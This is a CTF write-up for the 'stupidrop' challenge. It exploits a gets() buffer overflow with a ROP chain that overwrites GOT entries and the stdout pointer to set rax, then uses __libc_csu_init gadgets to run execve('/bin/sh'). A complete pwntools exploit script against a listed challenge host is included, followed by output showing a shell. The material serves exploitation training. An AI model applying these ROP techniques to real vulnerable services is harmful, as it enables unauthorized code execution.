stupidrop

Attachment: stupidrop xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
void main(int argc, const char **argv, const char **envp)
{  
  setvbuf(stdout, 0, 2, 0);
  alarm(2);
  gets(buffer);  
}

So, we have an obvious buffer overflow here, but no possibility to leak anything and ASLR is enabled for sure.

Since this is the only function in the binary, we also don’t have many libc functions we can abuse

objdump -TR stupidrop

stupidrop:     file format elf64-x86-64

...

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000600ff8 R_X86_64_GLOB_DAT   __gmon_start__
0000000000601048 R_X86_64_COPY       stdout@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT  alarm@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT  setvbuf@GLIBC_2.2.5

This challenge could be solved only with these at hand (in fact, there’s a similar on pwnable.tw for example, which only provides gets). But the challenge was made easier on purpose by forging one syscall gadget into the code.

Though it’s never called, you can find it at 0x40063e.

With syscall, we could just start creating our ropchain and do an execve("/bin/sh", 0, 0), though you’ll face the problem how to set rax to an arbitrary value.

To make this short: While the ctf was running I missed the fact that calling alarm will set rax to the value of the argument passed to it. That should be the intended way, because it’s way easier, than what I did here.

So, if you want to see the shortest and easiest solution to this task, go look somewhere else…

Since I missed the easy way out by using alarm, I created an ropchain instead, which will also be able to set rax to an arbitrary value, but in a bit more “creative” way.

For this let’s take a look at the assembly of main:

push    rbp
mov     rbp, rsp
sub     rsp, 30h
mov     rax, cs:stdout
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
mov     edi, 2          ; seconds
call    _alarm
lea     rax, [rbp+var_30]
mov     rdi, rax
mov     eax, 0
call    _gets
mov     eax, 0
leave
retn

So, not much too work with, but we can abuse this code for setting rax.

What I did there:

  • Overwrite setvbuf got with a call to ret
  • Overwrite alarm got with a call to pop rbp; ret
  • Overwrite stdout pointer with 59 (execve syscall)
  • In the ropchain jump to mov rax, cs:stdout

What this will do:

mov     rax, cs:stdout

Set rax to 59

mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf

Set exc to 0, set edx to 2 and esi to 0. It will then store the value of rax into rdi (so rdi also contains 59).

It will then try to call setvbuf, but since it’s now just a ret call it will just continue with execution.

mov     edi, 2          ; seconds
call    _alarm

This will now set edi to 2 and do a call alarm, which will push the current address onto the stack (for returning after the call). But since we overwrote it with pop rbp; ret it will just pop this return address and instead continue execution with the next address in our ropchain.

But now rax will contain the value we wrote into stdout, so it’s 59 now and we’re prepared to do an execve syscall :)

Well, calling alarm twice with 59 in rdi might have been easier, but…

Though rax now is set correctly, we’re facing another issue. rdx is now set to 2 which will fail in execve, since this will be the envptr. And there’s no pop rdx gadget to change this.

But there’s also help to this :)

There’s a nice gadget in __libc_csu_init which will get us out of this misery:

0x400680

mov     rdx, r13
mov     rsi, r14
mov     edi, r15d
call    qword ptr [r12+rbx*8]

Not only will this help us setting rdx, it also initializes rsi and rdi and does a call to r12+rbx*8. Since rbx is currently 0, we can call whatever we want by setting r12 accordingly (we’ll just need a memory address where the address, we want to call, is stored, but gets will also help on this).

So we can also use the pop gadget in __libc_csu_init also to initialize r12-r15

0x40069c

pop     r12
pop     r13
pop     r14
pop     r15
retn

So, with these tools we can forge the attack plan

  • Store /bin/sh in bss
  • Store a pointer to the syscall gadget in bss
  • Overwrite setvbuf with ret
  • Overwrite alarm with pop rbp; ret
  • Overwrite stdout with 59
  • Jump back into main, so the “setvbuf-alarm-rax-initialization-chain” gets triggered :)
  • Call the r12-r15 initialization gadget and setup the registers
  • Call the “calling” gadget from __lib_csu_init which will setup rdx, rsi, rdi and then call the previously stored syscall gadget

Exploit for this

#!/usr/bin/python
from pwn import *
import sys

HOST = "104.196.127.247"
PORT = 5555

POPRDI = 0x00000000004006a3
POPRBP = 0x0000000000400560
SYSCALL = 0x000000000040063e
RET = 0x0000000000400289
POPR12131415 = 0x000000000040069c

CALLGAD = 0x400680

def read_into(address):
    result = p64(POPRDI)
    result += p64(address)
    result += p64(e.plt["gets"])

    return result

def exploit(r):    
    payload = "A"*56    
    payload += read_into(0x6010b0)          # store /bin/sh
    payload += read_into(0x601130)          # store ptr to SYSCALL
    payload += read_into(e.got["setvbuf"])  # overwrite setvbuf
    payload += read_into(0x601048)          # overwrite stdout ptr
    payload += read_into(e.got["alarm"])    # overwrite alarm

    payload += p64(POPRDI)
    payload += p64(0x601500)
    payload += p64(0x4005fe)        # execute 'rax update'
    payload += p64(POPR12131415)
    payload += p64(0x601130)        # ptr to syscall
    payload += p64(0x0) 
    payload += p64(0x0)
    payload += p64(0x6010b0)        # /bin/sh
    payload += p64(CALLGAD)         # call execution gadget
    
    r.sendline(payload)
    
    # Send the data to answer the gets-calls from the ropchain    
    r.sendline("/bin/sh\x00")       # store /bin/sh on bss
    r.sendline(p64(SYSCALL))        # store ptr to syscall
    r.sendline(p64(RET))            # overwrite setvbuf with ret
    r.sendline(p64(59))             # overwrite stdout with execve syscall no
    r.sendline(p64(POPRBP))         # overwrite alarm with popret

    # enjoy shell
    
    r.interactive()
    
    return

if __name__ == "__main__":
    e = ELF("./stupidrop")

    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
        exploit(r)
    else:
        r = process("./stupidrop")
        print util.proc.pidof(r)
        pause()
        exploit(r)
python work.py 
[*] '/vagrant/Challenges/inctf/pwn/stupidrop/stupidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './stupidrop': pid 1980
[1980]
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ whoami
vagrant

I know, there’s an easier solution to this challenge, just wanted to show this alternative way of setting rax (which might get handy if there’s no alarm but another call, that can be overwritten).